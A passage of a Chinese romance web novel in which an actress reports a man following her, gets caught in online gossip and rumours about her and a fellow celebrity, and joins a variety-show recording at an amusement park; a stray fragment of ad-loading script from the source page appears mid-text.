江遥告诉他：“你沿着那条路一直往前走，有一个便利店。”
话没说完，男人又往前走了一步，江遥厉声阻止：“不要过来，我不认识你！”声音甚至都有点变形。
宴池听着听筒里传来的女声，脸上笑容倏地僵住，快步赶了过去。
不大的便利店里一下子站了四个人，宴池一身黑衣，同样口罩帽子全副武装，店主更加狐疑。江遥心里一定，小声跟他说了现在的状况。男人一点不怕他们人多势众，仍在坚持说着：“她就是我女朋友！”
看样子，应该不是个正常人。
江遥和宴池对视一眼，不想多惹麻烦，转身准备出门。男人猛地扑过去堵住了门口，叫嚣着这就是我的女朋友。
两个鬼鬼祟祟的男女外加一个看起来神志不清的人，店主懒得跟他们多话，直接报了警。
小鱼是在新闻上看到江遥进局子的消息的。图片上她戴着口罩帽子，蹲在警局门口，背后的墙上，写着大大的“POLICE”，一身吊带长裙拖在地上，整个人看起来有点凄惨。另一张照片上，江遥瘦削的肩膀已经被宽大的外套裹住，她侧着头和一个同样裹得严实的男人说话，看样子两人颇为熟悉。
小鱼还在想这是哪里冒出来的男人，评论区已经有粉丝认领，宴池，这天刚好也在桐城。
她赶紧拨通江遥的电话，铃声响了一遍遍，最后等来了一板一眼的机器女声提醒她稍后再拨。小鱼和朋友打了个招呼，拦了辆出租直奔警局。
过了会儿，江遥电话回拨过来，简单跟她说了下今晚的经过，让她不要担心，她已经回到了酒店。
“师傅，不去警局了，麻烦掉头去君越。”虽然江遥轻描淡写今晚的经历，但她知道，她只是不想自己担心以及来回折腾，任何一个人碰到这种事情，都会需要时间反应。
“师傅，麻烦再快点儿。”小鱼不住催促。
杨越也同样在祈祷：“拜托拜托，麻烦李总那边能快点结束。”
28. 进局子
李总和应澄合作多年，是难得知道程绪与应澄幕后关系的几人之一。专属电梯从顶楼直达地下停车场，拒绝外人窥探。知道程绪这次会在桐城短暂停留，便邀他一起打球。
王导那边宣传片又有新的疑问点，杨越临时被叫走，一整个下午都在跟各方人马碰需求。
等他看到网上的新闻时，才知道短短几个小时，外面已经天翻地覆。杨越心知大事不妙，打老板电话，却一直无人接听。看着不断轮换的热搜词条，他再一次感觉到自己的饭碗开始四处漏风。
作为公众人物，私德有亏的不在少数，但和警方扯上关系，还是很少见的。
有人看到新闻无比震惊：「看这身型好像是江遥吧？这是犯事了？」
有人幸灾乐祸：「她终于把自己折腾进局子了！」
也有人关注点在旁边的男人：「旁边那是宴池？他们怎么会在一起的？」
杨越焦急得坐立难安，程绪电话始终无人接听。刷着网上的新闻，他也很想跟着问一声，时隔多年，他们怎么还会在一起的？
最初是有人拍到两人被警察带走的画面，口罩帽子墨镜遮得严严实实，看起来很不寻常，猜测或许是公众人物，便发在社交平台问有没有人认识，没想到转眼就被人搬运得到处都是，现在各平台已经发酵开。
有人拿出江遥之前同角度的照片，身高、体型等一一对比，得出结论：照片上的女人十有八九就是江遥。而且江遥的新戏，就在隔壁的宛城拍摄。
江遥啊……那就不奇怪了。很多人一看她的名字，瞬间就能自动脑补出许多乱七八糟的新闻，这和警察站一块，妥妥是犯了什么事了。他们边吃瓜边等警方通报，有手速快的已经将江遥的图片做成表情包，上书几个大字：不用别人弄我，我会自己动手。
至于宴池，看行程他确实是在桐城录节目，也许是看在过往情分上来捞江遥的？碍于宴池粉丝基数大，没有确凿的证据，大家倒也不敢胡乱猜测。在这样的环境下，所有的矛头都集中在江遥一个人身上。
网络上沸沸扬扬闹了一个多小时，江遥在各种版本的故事里已经被完全妖魔化。官方一直没有发布通告，又有小道消息开始流传：江遥背后资本太强大，所有新闻已经被买断。
晚上9点，警方发布公告，演员江某被一男子尾随，寻求警方帮助，经调查，男子患有精神疾病，现已被收医治疗。事情水落石出，江遥遭遇变态，报警寻求帮助，宴池粉丝也终于松了一口气，之前有咬死不认黑衣男子就是宴池的，也开始大呼“晦气”“沾上这个女人就没好事”等等。
从警局出来，宴池的经纪人已经等在一旁，看到江遥跟在宴池身后，神色说不上太好看，但还是礼貌地点了点头。本来说好一起吃顿饭，没想到来了个警局一轮游，江遥过意不去，确认宴池接下来的档期，打算之后再请他一顿。
经纪人捏着他的腰侧狠狠扭了一下，提醒他还有节目要录，别玩太疯，他不动声色，对着江遥笑得灿烂：“你找我的话，随时有空。”
前面就是路口，江遥摸出手机，准备自己叫个车。宴池不放心，坚持要送她一程。经纪人琴姐知道她甚至连助理都没带，强硬地将她推上了宴池的保姆车，一路开去了她落脚的酒店。
江遥今天起得晚了，中饭也只是随便对付了几口，现在饿得不行，找了个舒服的姿势，靠着椅背没怎么出声。琴姐跟宴池在对接下来的处理方案以及之后的行程，琴姐骂骂咧咧，宴池装乖讨饶，两人还是老样子。江遥勾了勾嘴角，看着窗外倒退的风景，有种久违的平静。
车子很快到达酒店地下停车场，江遥推门下车，宴池跟下来确认她一个人是否能行。江遥正想催他快走，别磨磨唧唧等会儿又被拍到上头条，手上电话响了起来，是小鱼。
小鱼已经在回来的路上，听到宴池的声音，拜托他再等一等。话筒声音开得有点大，江遥捂着话筒还没出声，宴池已经一口答应。琴姐干脆也懒得管他，只叮嘱他不要再闹上新闻。
电梯一路上行，江遥刷卡开了门，宴池跟了进来，将门轻轻阖上。把包随手丢在沙发上，脱下外套正想还给宴池，手伸到一半，才发现衣服下摆应该是坠在地上时弄脏了，她又收回了手，把衣服挂在旁边的衣帽架上：“衣服脏了，我洗好还你。”
宴池无所谓，只是闹到现在也没吃上饭，两人干脆点了个外卖。
两人有一搭没一搭聊了几句，宴池这一周都在桐城，录一个挑战类节目。
这个综艺每周末黄金档播出，江遥偶尔会看几眼，每期嘉宾们都会根据节目组要求，完成各种挑战类节目，比如潜水、跳伞、铁人三项等各大场景，嘉宾们面对各种挑战，或迎难而上，或畏缩不前，更有甚者会被吓得吱哇乱叫，看明星们展露天性，且不用动太多脑子，近期热度很是火爆。
江遥觑了眼窝在另一边沙发上玩游戏的宴池，明明是阳光清爽的长相，在公众面前却喜欢装深沉，粉丝们看平日里高冷的偶像在节目里表现得胆小如鼠，一片心疼。但她明明记得，当初去鬼屋时，这位大哥可是玩得可欢了。
逛了一天本来就累得不行，晚上还被神经病吓了一跳，江遥渐渐睡了过去。宴池看她睡着，找出耳机戴上。
一盘游戏还没打完，门外隐约传来敲门声，估摸着是外卖到了。怕她被声音吵醒，他赶紧关掉手机，起身开门。
门外站着的人正低头回消息，身量很高，将背后打来的灯光直接截断。抬头看到宴池从门后钻出头来，眼睫眨了眨，没有说话。
还是宴池率先反应过来，惊喜地问好：“程老师？您怎么在这儿？”
宴池已经是一线艺人，平日不乏追捧，看到程绪，还是难免激动。他从电视剧拍起积累人气，这几年也开始进军电影圈，而眼前的男人，在他这个年纪，早已荣誉满身功成而退，只留下一项项可望而不可及的标杆，留待后来者追逐。
程绪看着眼前的男人，五官精致，笑容灿烂，好一个风流倜傥，确实是小姑娘喜欢的类型，也是他永远达不到的模样。
男人沉沉看着他，仿佛在努力压抑着什么，宴池渐渐收起满脸喜色，再次问他：“程老师，请问您有什么事？”
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程绪仿佛刚刚回过神，淡淡“哦”了一声，“没走错的话，这是江老师房间吧？”
宴池毫无防备，点点头：“嗯，她已经睡着了，有什么需要我可以帮您转告。”
程绪最终没说有什么事，转头走了。宴池看他越走越远，也不知道他到底找江遥干什么，想了会儿没有头绪，他干脆关上了房门，打算等她醒来问一声。
屁股刚刚挨到沙发，门又被从外敲响。以为这次外卖终于到了，结果打开门，还是程绪。
这次没等他出声，他直接落下一句：“我想进去看看她。”
没有问方便与否，而是直接表达了自己的诉求，我想。我想进去。
宴池被他吓到，程绪和江遥很熟吗？没有听说啊！如果不熟的话，里面的人还在睡着，放他进去有点不合适吧？！
他扶着门框左右为难，电梯“叮”地一声，在这层楼停下。只见小鱼迈着步子飞快跑过来，宴池呼出一口气。小鱼没管站在门外的两尊门神，直接推门进了房间。
灰色沙发上，江遥蜷着身子，身上披着一件宽大的男士外套，睡得无知无觉。长发在脸侧铺开，还有几绺垂到了地面。小鱼小心拾起江遥散落在地的头发，没有出声打扰。程绪也跟了进来，站在一旁没有说话。
宴池实在按捺不住，在这样诡异的氛围里，多待一秒都觉得窒息，他悄悄给小鱼使了个眼色，小鱼也正想找他详细打听下现场的情况，跟着宴池走到门边，转身交代：“程老师，麻烦您帮忙照看一下。”
程绪点点头：“放心。”
小鱼被宴池一把拖走，两人找了个僻静的角落，宴池大有穷根究底的架势，两手插着腰，抬了抬下巴，让小鱼从实招来。
小鱼双手捂着脸，头往后仰，实在不知从何说起。程绪其实什么都没有说，但她却对他有种莫名的信任感，可能这就是大神的光环吧。而且就他的条件，实在犯不上跟他们耍什么心眼。
宴池还在直勾勾地盯着她，那双粉丝嘴里多情的桃花眼也停止了发散魅力，把脸一板：“他怎么会在这里。”
这个问题很好回答，小鱼马上给出答案：“他俩在拍一个宣传片。”
宴池脸色古怪：“你放心把他和遥遥单独留在房间里？”
小鱼奇怪地看着他：“那你俩之前不是也孤男寡女待在一起？我也没说什么啊。”
宴池抬手给了她一个暴栗：“我和她认识多少年了！你怎么能胳膊肘往外拐呢？”
小鱼揉着脑袋给他翻了个白眼：“我看程老师比你靠谱多了。”
天花板上水晶吊灯白得刺目，程绪抬手关了头顶大灯，只留一小盏暖黄的灯光散发出柔和的光晕。
拣了张椅子在旁边坐下，视线扫过沙发上的人，她重新换了个姿势，一侧手臂向外伸出，一大半露在空气里，随着动作，披在身上的外套向下滑落。程绪起身，将外套轻轻拢起，挂在了一旁的衣帽架上。抬手解开扣子，脱下衣服重新披在她身上。
他低头认真为她掖紧领口，没有注意到，睡着的人眼皮微微动了动。
29. 胆怯
到底是心里惦记着事情，肚子也饿得很，江遥并没有睡太沉。意识回笼的第一秒，感觉到有人倾身靠近，一件带着体温的外套，轻轻落在了她身上。
本以为是宴池，她正想出声打趣，哪里学来的绅士风度。但下一秒，她感觉到了不对劲。
不同于宴池身上阳光热烈的味道，熟悉的雪松气息扩散开来，清爽中带着冷冽，有着不一样的宁静沉稳的感觉。
掖好衣服，程绪重新坐了下来，江遥的手仍是静静地垂在那，莹润的肌肤毫无遮挡地在他眼前打转。酒店的椅子太硬，他实在坐不下多一秒钟，干脆站起身，打算将她的手臂重新收拢进外套里。
江遥闭着眼睛，黑暗里，嗅觉被无限放大，清冷的气息骤然远去，不过一秒，又重新逼近，宽大的手掌轻柔地托起她的手腕，温热的气息喷洒在她的脸上，她差点忘了呼吸的节奏，睫毛开始轻轻眨动，她想克制自己，却无能为力。
手下的胳膊突然僵住，睡着的人眼睫轻动，程绪放开她的手，理了理衣服，重新在椅子上落座，好整以暇地看着她。
江遥闭着眼睛躺了会儿，尽量让自己忽视一侧的目光，坚持不过几秒就彻底破功，认命地睁开了眼。
她揉了揉僵住的胳膊，从沙发上坐起身，问本不该出现在这里的男人：“宴池呢？”
男人嘴角的笑意僵住，微微抿了抿唇：“在外面和你助理说话。”
江遥点点头表示知道了，又问：“你怎么会在这里？”
呵，和宴池一样的思考逻辑。
明明是很简单的问题，却把他彻底问住。他将自己的思绪抽丝剥茧，也没有理清其中的逻辑。
下午李总的邀约，其实本可以拒绝的，只是他突然不太理解，自己出现在桐城的意义。打完球后又去游了个泳，把自己彻底沉浸在水底，隔绝外界的气息，什么都不用想，他享受这份难得的静谧。从水里出来，拿起手机，杨越给他打了十几个电话。能让他这样，只可能和一个人有关。程绪看着手里的电话，突然有点胆怯。
手机又响了起来，杨越跟他简单说明了现在的情况以及她的现状，最后顿了顿，才告诉他，江遥报警的时候，宴池也在场。
他往酒店赶的时候，想过可能会碰到宴池，但是他能想到的，只是他们并肩而立，言笑晏晏，客气地向他点头问候，而不是宴池以一副主人翁的姿态，满是迷惑地问，“您怎么会在这”。对他们而言，他只是一个毫无交集的陌生人，他们才是紧密联结的同盟。
他再一次落荒而逃，脚步沉重，心里的不甘，却又死死拽住了他。凭什么，过了这么多年，还是他转身退出，明明他已经努力走到她面前了。
她看来的眼里，不再是全然的陌生，她会客气地叫他程老师，尴尬的时候，红着脸微微无措，开心的时候，眼睛会藏着一束点亮的烛火。不管在怎样的境况里，那双娇媚的眼里，总是跃动着蓬勃的生机，他想让自己，一直在她的眼底停驻。
思绪千回百转，江遥望着面前的男人，不知道自己期待怎样的回应。
他微微张了张口。
“遥遥，你醒啦！”小鱼的声音从门口传来，打断了未出口的话。她跑来一把抱住江遥，摸了摸她的脸，扁着嘴问：“你怎么样，还好吧？”
江遥把她胡乱作怪的手从脸上拔下来，小鱼抱着她不松手，两人还在幼稚地较着劲，宴池重重咳了声：“吃饭了。”
等了许久的外卖终于到了，外卖小哥小心翼翼说着抱歉，路上有点堵车，求他们高抬贵手不要给差评。
两人都饿了大半天，欢天喜地拆开外卖盒，将饭菜一一摆上桌。小鱼看着开开心心围着桌子等吃饭的俩人，瓮声瓮气地提醒：“好歹是个明星，当着别人的面能不能矜持点。”
江遥还没回话，宴池就顶了回去：“明星也要吃饭啊，这么努力工作不就为了混口吃的嘛。”
江遥很是赞同，嘴里还塞着吃的不方便开头，于是狠狠点头。
桌上的气氛很是热闹，被打断的话再难续上。江遥故意忽视站在旁边的某人，宴池看着杵在一旁的程绪，开口招呼：“程老师您要一起吃点吗？”话音落地，程绪没有回应，江遥飘来个眼神，他立马闭嘴，不再强求。
所以后来房间里的场面就变成了，江遥和宴池俩人其乐融融吃着饭，程绪站在一旁不知想着什么。
小鱼知道自己没经江遥同意擅自带程绪上门做得不地道，只好硬着头皮跟他打商量：“程老师不好意思，您看我们今晚实在没空招待您，要不……”她话没说完，程绪已经主动请辞。
江遥埋头吃饭，只露出黑漆漆的脑顶，听他的声音说“你好好休息”，她点了点头。房间响起脚步声，小鱼跟在后头说着“您慢走”，再后来是门阖上的声音。
小鱼靠在门上安抚着受惊的小心脏，刚刚还表现得异常活跃的江遥突然就安静了下来。宴池装做什么都没发现，陪着她边吃边聊了聊各自的近况。知道江遥还会在桐城待几天，约好之后再找机会碰面。
由于那晚的意外，小鱼不放心她一个人单独出门，接下来几天，两人将桐城有兴趣的地方逛了个遍，顺便拍了许多照片。
江遥报警一事，随着官方的通告发布，讨论已经渐渐平息，但还是有人热衷各打五十大板，指责江遥不该穿着裙子大晚上出门逛，把小鱼气得不行，强烈要求江遥每天都穿美美的裙子出街，而她负责记录美。
小鱼的摄影技术在这几年里猛涨，之前偶尔出席活动，公司不会给他们派专门的摄影师跟，都是她身兼数职。从一开始惨不忍睹，到现在已经修炼成了野生摄影师里技术很好的那一挂，总算不再浪费江遥的美貌。加上桐城天气很好，所以几天过去，拍了很多美照。
摄影师强烈要求必须公开发布照片，亮瞎那些瞎说的人的狗眼。江遥选了几张风景照，加上自己的各式游客打卡照片，发了微博和朋友圈，所有好友可见。
没一会儿，乔女士热情捧场，将她夸得天上有地上无的，饶是
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江遥已经适应多年，偶尔也会觉得亲妈滤镜过于厚重。汪静静也很久没在朋友圈看江遥大方晒照，飞速留言。十分钟后，程绪也点了个赞。
原本笑着在回复汪静静信息，看到消息提示，江遥直接撂下手机，坐在床上拿着遥控器漫无目的地换台，想找个节目打发时间。
换了几个节目，都看不进去，突然屏幕里闪过一张熟悉的脸，她停下动作，原来是正在重播综艺《心动大冒险》，宴池作为常驻嘉宾，正努力活跃气氛。她放下遥控器，干脆开着节目当背景音。
那天闹上热搜，宴池工作室最后发了份声明，表示宴池和江遥最近都在桐城工作，好友相聚，路见不平宴池拔刀相助，希望阴谋论和乱带节奏的人都消停会儿。
声明一出，粉丝纷纷表示不能接受，怎么过了这么久两人还在联系着，已经凉透的瑶池CP粉看着时隔多年的同框照，却又复健成功，开始慢慢活动。
「遥遥身上的外套是宴池的吧？天啦我看到了什么！」
「奶奶，你嗑的CP又活啦！」
宴池电话打进来的时候，屏幕里的他正在抱头尖叫。他听了会儿，觉得莫名熟悉，不确定地询问：“你那是什么声音？”
明知故问。“当然是某人花容失色哭天抢地的天籁之音啦。”
看来没有听错，宴池下面的话顺着就问出了口：“你对这个节目有兴趣？”
“还行，看过几眼，主要是看你演戏有点意思。”节目里的人设和他原本反差实在太大了，江遥第一次看到还挺有违和感，多看几次竟然开始习惯了。
听她这么说，琴姐的提议突然在脑子里冒了出来，原本他是已经拒绝了的，这会儿却想再问问江遥的意思：“下期节目的飞行嘉宾出了点状况，节目组在紧急找人替换，遥遥，你有没有兴趣来试试？”
江遥果然没有答应，电话那头，她声音轻快，不无自嘲：“我就算了吧，到时候好好一节目被我把水搅浑了，而且你粉丝到时候又得说我美貌过人勾得你神魂颠倒。”
宴池知道，粉丝原话并不会这么好听，这已经是她尽力美化后的结果。他也想过引导，可是他越动作粉丝越应激，江遥干脆让他别理，他因此发了无数的红包表示歉意。这种情况下，两人能维持这么多年的关系实在不容易，所以他也更加珍惜这份少时走来的情谊。
他不想江遥一直避在角落里，直面风雨才能勇敢走出下一步棋。朋友多年他自然知道她的软肋在哪里，干脆毫无心理负担地搬出琴姐来：“其实是我这边想请你帮个忙，我团队评估后觉得如果咱们能一起上节目，有些不实的言论自然会不攻自破，最起码能影响到一部分人。这样我能在这波舆论中脱身，你以后也可以少些人敌视。”
以前经纪人不作为的时候，是琴姐给了她不少温暖和建议。江遥不想给琴姐他们工作添麻烦，盘了下自己的行程，还有三天空闲。她和宴池问好节目拍摄的时间，确定没有冲突后，答应了下来，如果节目组那边没问题的话。
30. 飞行嘉宾
虽然是临时找人替补，但节目本身热度不小，就算桐城没有合适的人选，也有人愿意连夜飞过来。
宴池推荐江遥，节目组最初是有点犹豫的，但宴池是这个节目最大的看点，且网上关于这对CP热度直线上升，又觉得或许可行。
机遇面前，够胆才能吃到红利。只要操作得当，就不会有什么问题。
工作人员很快加了江遥的联系方式，将下一期的流程表发了过来，并跟她大致交代了注意事项。
时间很紧，下一期节目录制时间就在明天。第二天上午6点，江遥和小鱼一起出发前往节目组下榻酒店，然后跟大家一起出发。
《心动大冒险》常驻嘉宾由五人组成，除了宴池，还有一位老牌演员，一名爱豆，一个实力派歌手，以及一位新出道的小花，江遥来之前对他们的经历做了大概了解。
他们7点到达剧组酒店，等其他嘉宾陆续过来汇合。
节目想还原艺人的真实状态，没有配备专门的造型师，嘉宾们穿私服出镜，有条件的也会自带团队。宴池还在做造型，琴姐知道他们出门早，特意给他们带了早餐。江遥没什么胃口，吃了点就放下了。
今天的录制地点暂未公布，但因为节目性质特殊，为方便行动，江遥直接穿了T恤衫牛仔裤外搭一双运动鞋，头发高高扎起，满脸胶原蛋白，手长脚长，乍一看，倒像是出来玩的大学生。
当年他们和江遥认识的时候，她还是大学在读，小小年纪已经红透半边天，却半点架子都没有，经常坐着小马扎和他们一起挤在一起聊天。那会儿宴池刚刚演了部剧小有热度，在江遥如日中天的人气面前完全不够看的。说起来当初还是他们沾了她的光。
其他嘉宾陆续过来，江遥主动打招呼：“大家好，我是江遥。”
飞行嘉宾临时换了新人，具体是谁节目组并没有透露，他们也是到现场才知道消息，看到落落大方站在那里笑着问好的江遥，众人都很惊讶。
江遥刚出道时一直以拍戏为主，除了必要的节目宣传，没有上过其他综艺。后面沉寂几年，风评不好，也没什么节目邀请，就没太在公众面前露面。
八卦一直说她和宴池关系破裂，圈子里这种事情也很常见，大家都心照不宣，只是没想到上次她和宴池一起闹上了热搜，现在更是合体来录节目，很难不让人有暧昧猜测。
国民演员马松到底虚长几岁，在圈子里混了那么多年，也见过了不少人的起落，不管对方咖位大小，做好自己最实在。他适时露出惊喜的表情，伸手和她握了握：“欢迎江老师加入。”
另外一个打扮精致的年轻男人也向她鞠躬问好，江遥昨天做过功课，这是近两年选秀出来的爱豆，粉丝打投出道，目前流量还不错。
歌手叫唐珏，几乎承包了近些年热门影视剧的主题曲，睁着半睡半醒的眼睛懒懒和江遥打了个招呼，一副天生的好嗓子。
最后的姑娘，应该就是新出道的小花刘灵泠，参演了部校园剧，近期小有热度，在学生群体里颇受欢迎。江遥看着面前的女孩，杏眼圆圆，长着一张初恋脸，缩在后面没有上前。
江遥正想收手，她一把上前握住，激动地说：“江老师您好，我叫刘灵泠，我是您的粉丝。”
杏眼圆睁，神情激动，看起来莫名有点眼熟。江遥还在努力搜寻，她主动提醒：“轻音娱乐，咱们在轻音娱乐见过。”
原来是她，当初在电梯口碰到过的那个姑娘。江遥笑笑：“合作愉快。”
众人互相熟悉了一番，时间正好差不多，工作人员带大家坐大巴前往节目录制场地，录制正式开始。
宴池快走一步到了江遥身边，轻轻拥抱了她一下，很快就松开。江遥微微怔了怔，看到镜头扫过来，立刻调整表情。
马松有点晕车，择了前排坐下，刘灵泠挤着江遥坐在一起，宴池和盛子豪、唐珏各占据了一个位置。几位常驻嘉宾已经熟悉，飞行嘉宾的加入有时能产生意想不到的化学反应。工作人员将话题抛向江遥：“江老师，您之前看过我们节目吗？印象最深刻的场景是什么？”
江遥非常捧场：“有看过几期，至于印象最深刻的场景……”她停顿了一下，不知道想到什么，回头看向侧后方的宴池，正好宴池抬头看来，看他怨念的眼神，江遥忍不住有点想笑。
工作人员一脸我懂的的表情：“和宴老师有关的场景对不对，是否方便跟我们分享一下？”
江遥笑笑没有接话。
刘灵泠好不容易和江遥签到一个公司，结果没多久江遥又解约了，没想到在节目还能再遇上，欢欢喜喜拉着她分享自己的心路历程：“遥遥姐，我初中的时候可喜欢你了。”
江遥扶了扶额头，在水嫩嫩的小姑娘面前，自己确实有点沧桑了，为了节目效果，她掩口低呼：“啊？原来我这么老了吗？”
刘灵泠却有点着急，认真摆摆手：“不不不，您一点都不老，您是出道早。”
马松偏头看了眼江遥，风姿正好的年华，十几岁出道，兜兜转转这么多年，还只二十几岁，说出来谁不羡慕呢。
车子驶进游乐园，大家有序下车，工作人员拿着小喇叭，向大家宣布今天的第一项挑战任务：过山车。不同于一般公园的小型过山车，这次他们要挑战的，全程一千多米，最高落差堪比跳楼机，很多人体验过后亲切地称呼它为：过山车终结者。
大家两两一组自由组合，工作人员饱含激情地解说，前排视角更好，体验感非常足。江遥跃跃欲试，正好其他人不想玩这么刺激的，她直接抬脚坐到了第一排，扣好安全装置。刘灵泠本想和她一组，但慢了一步，被宴池抢先了。他长腿一迈，坐到了江遥身边，遭了她一记白眼。他摊摊手，表示自己也很无辜。
刘灵泠和马松坐在他们后面，盛子豪、唐珏一组殿后。过山车猛地一下冲出去，刘灵泠“啊啊啊啊”的叫声从后排传来，车头一个转弯，马松也开始大喊：“不带玩这么刺激的！”'');(window.adbyunion = window.adbyunion || []).push(id);})();
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风吹得人睁不开眼睛，江遥还是努力睁大双眼，想看清前进的轨迹，过山车咔哒咔哒一直响，听着人胆战心惊。旁边的宴池一直很安静，抓着扶手的手却青筋凸起，紧紧闭着眼睛。这种团体挑战项目，如果每个人都胆大包天或胆小如鼠，会缺少很多冲突和看点，必要的时候，需要人为控制增加剧情冲突。
这么刺激的时候，难为他还记得不能崩人设。江遥看他憋得难受，到平缓点的地段，跟他交流心得：“喊出来会好点。”
说完过山车又是一个俯冲，江遥闭着眼睛大声叫了起来。刘灵泠被偶像一鼓励，扯开嗓子又是一阵持续输出。宴池跟着叫出了声。过山车在山道盘旋、攀升、俯冲，整条轨道上，都散落着他们的惊叫声。
下车的时候，江遥一个跨步迈了出去，宴池还沉浸在柔弱人设里，脚步一踉跄，扶着她借了点力。刘灵泠跟在后面下来，一脸吃瓜的表情望着他们。江遥回头剜了宴池一眼，给他比口型：“离我远点。”
后来他们又分别体验了跳楼机、大摆锤等刺激性项目，玩到下午，江遥意犹未尽，唐珏嗓子都喊哑了，对着江遥拱了拱手：“太勇了！”盛子豪倒还是妆容精致，一脸帅气。
回程的车子上，刘灵泠放弃形象，直接瘫坐在一旁，嘴里喃喃：“下次再也不来了。”马松打趣她：“你遥遥姐也吸引不了你吗？”
刘灵泠一个翻身坐了起来，圆溜溜的眼睛侧头看向江遥：“遥遥姐，你下次还来吗？”
有飞行嘉宾玩得好会多来几期的惯例，但江遥还有戏在拍，不一定能空出档期，而且这期节目上了效果未定，节目组那边还不知道什么想法。她没有正面回答，伸手给她理了理蹭乱的头发：“有空可以来宛城找我玩。”刘灵泠立马开心了起来。
假期结束，江遥继续回到剧组过起了早起贪黑的生活。卢亮这段时间也非常忙碌，拍摄之外还得为着资金四处奔波，虽然他们剧组本来走的也不是财大气粗的风格，但也不能太粗制滥造了，这会拉低观众的第一印象。这两天资金到位，他终于松了一口气。
这天下午剧组来了个不速之客。一条拍完后，副导演示意大家先停停手上的工作：“快来喝奶茶！”
主演都不是多大牌的明星，平常也没什么人来探班请客。大家欢呼一声，围拢了过去。
江遥接过小鱼递过来的奶茶，插好吸管喝了口：“谁来探班了？”
小鱼给她指了个方向，女二号徐婉宁正跟一个年轻女孩说着话。突然她往这个方向看来，那女孩也跟着转身，竟然是刘灵泠。进组时徐婉宁说有个闺蜜是她的粉丝，她只当是社交辞令，没想到还真有这么个闺蜜的存在。
刘灵泠看到江遥，立即挥手：“遥遥姐，我来看你了！”本就是随口的一句话，没想到这姑娘记在了心上。
江遥抬手向她挥了挥，摇头失笑，在圈子里待久了，不经意间，自己的心可能跟着有点钝，年轻女孩的真心，却总是那么赤忱。
31. 转机
《心动大冒险》这一季已近尾声，刘灵泠下部戏还没定，中间她有个小长假，干脆来宛城探闺蜜的班，徐婉宁却无情揭穿她“醉翁之意不在酒”。
刘灵泠有时候会在附近逛，逛累了会来片场看他们拍摄。叽叽喳喳，很是热闹。
这天江遥下戏后，小鱼告诉她，之前她参加的那期综艺今晚上线了。拍完江遥其实并没有什么感觉，回到剧组也没再关注节目走向，只有酸疼的脖子让她有点实感。
小鱼却一直在关注网络风向，这期飞行嘉宾官宣时，官方微博就被宴池粉丝骂了一轮，靠他带热度还非要恶心他粉丝，CP粉却仿佛过年了，一直等着正片上线。目前正片出来，弹幕里不是夸宴池帅就是骂江遥装，零星几个CP粉完全被淹没在有组织的刷屏下。
睡前江遥拿出手机刷了刷，难怪网友们喜欢调侃节目组剪辑师年薪百万，当时玩的时候，明明大部分时间里听到的都是同伴们的尖叫，但呈现在节目中，慢动作卡点音乐一加，氛围感和刺激效果拉满。有些细节处，后期老师还会贴心地配上花字，仿佛和她参与的不是一档节目。
第二天还要早起化妆，江遥看到一半点了暂停。孙二能提刀上马也能下地插秧，讲话没有什么弯弯绕绕，今天拍的是她带着弟兄们出去打猎的场景，已经是十二月，宛城气温却还停留在夏天，江遥怀疑刘灵泠守在这里不想走其实是想找个温暖的地儿猫着过冬。
二十几度的天气，她裹着一身狐裘热得不行，下戏后脱了衣服坐在一旁吹着小风扇，刘灵泠又瞅着空摸了过来，欢天喜地地跟她说：“遥遥姐，这期节目播放量已经排到这一季前三名了。”
江遥还是没有接茬，刘灵泠倒豆子一样给她说着目前的情况：“瑶池CP又上了热搜，网友们简直是戴着放大镜在看节目，真的太可怕了，不过遥遥姐你看他们猜的是不是真的？”
她把自己手机拿给她，指着某条微博给她看，是几张节目里截出来的动图，宴池抱她的那一下放在了最前面，他在她耳边低声说了什么，声音并没有被录进去，但网友们人均唇语大师，点赞最高的评论是“遥遥，欢迎回来”。
江遥心头一跳，看来以后对着镜头说话还得戴个口罩。
有人留言：「完了，感觉我又要入坑了，他们曾一起站上顶峰，原来他一直在等。」
「颜值真的很搭，浅浅嗑一口。」
「我赌一毛钱，印象深刻的场景她想到的绝对是宴池相关的东西。」
「是谁说两人BE了的，对着镜头也完全不避嫌，就这关系不比跟你们粉丝熟？」
江遥划动屏幕，有她望向宴池的眼神，两人对视的照片，以及宴池下意识拉她的动作，她嫌弃的神情。刘灵泠吃瓜的表情也被单独截了出来，评论区都在大呼“姐姐演我”。
她还在认真给江遥同步目前的状况：“还有遥遥姐你真的太勇了，好多人都夸你男友力十足。”
「给我一个这样的朋友，安全感十足！」
「每次去游乐园都是自己一个人玩刺激项目，能不能把江遥借我一天。」
单看江遥的外貌，完全是娇滴滴的女明星，没想到不管是过山车还是大摆锤，就属她玩得最欢，最后回程时脸红扑扑的，显然还没尽兴。
还有人拿着她嫌弃的截图慢放，一帧帧分析微表情，嗑起了她和宴池的兄弟情。
「你们看到她下车时的表情吗，是不是在说让宴池离远点呢？哈哈哈哈粉丝没想到你哥哥会有被嫌弃的一天吧？」
「就是就是，这明明是纯粹的兄弟情好吧，有的人自己恋爱脑不要瞎代入。」
「一人血书求江遥返场，粉丝有什么冲我来，是我执意要嗑的！」
最后这条评论被网友顶上了热门，有人纷纷跟帖：+1，+2，+10086……
就连她调侃自己年纪大的地方，弹幕也一直在刷：“你能不能对自己年纪有点清楚认知”“我就是看你的戏长大的”等等。
江遥完全没想到会是这样的走向，昨天看节目时还特意关了弹幕，刘灵泠刷微博的手完全停不下来：“我看播放量还一直在涨，咱们说不定很快又能合作啦！”
她的预感很对，第二天江遥就接到了节目组电话，询问是否有档期参与节目收官的录制，知道她在宛城拍戏，录制地点可以直接选在宛城。节目组诚意十足，完全堵住了她的借口，江遥想了想，答应了下来。
刘灵泠知道的时候反倒很淡定：“我就知道节目组没有那么瞎。”
原本她打算这两天离开，知道下期录制地点在宛城，干脆继续在剧组窝着，等跟江遥一起去录节目。
上一期节目热播，网上关于他俩关系的猜测再次风生水起，却没人再说他们反目成仇。宴池来宛城也没再避讳什么，直接带着吃的来剧组探她的班，看着她的寨子恨不得在此长住。
江遥穿着戏服大马金刀地坐了下来，拿起宴池特意给她带来的甜品吃了口：“谢谢你想着我。”在上一个剧组演了一阵子纵情的公主，跑到宛城又代入女土匪的言行举止，还有个停不下来的女孩一直跟她发射爱意，在这样老友相见的场合里，她感觉到自己身上，那些近些年慢慢习到的瞻前顾后的因子，慢慢有了松动的痕迹。
连着赶了几天大夜戏，终于空出了一天半的档期。她和刘灵泠一起坐宴池的车离开。江遥中午才睡，没睡几小时又被小鱼叫起，实在困得不行，路上一直在补觉。等车停下来的时候，已经直接开到了节目组订的酒店门口。刘灵泠怕打扰两人叙旧，车子停稳就赶忙挥手告别。
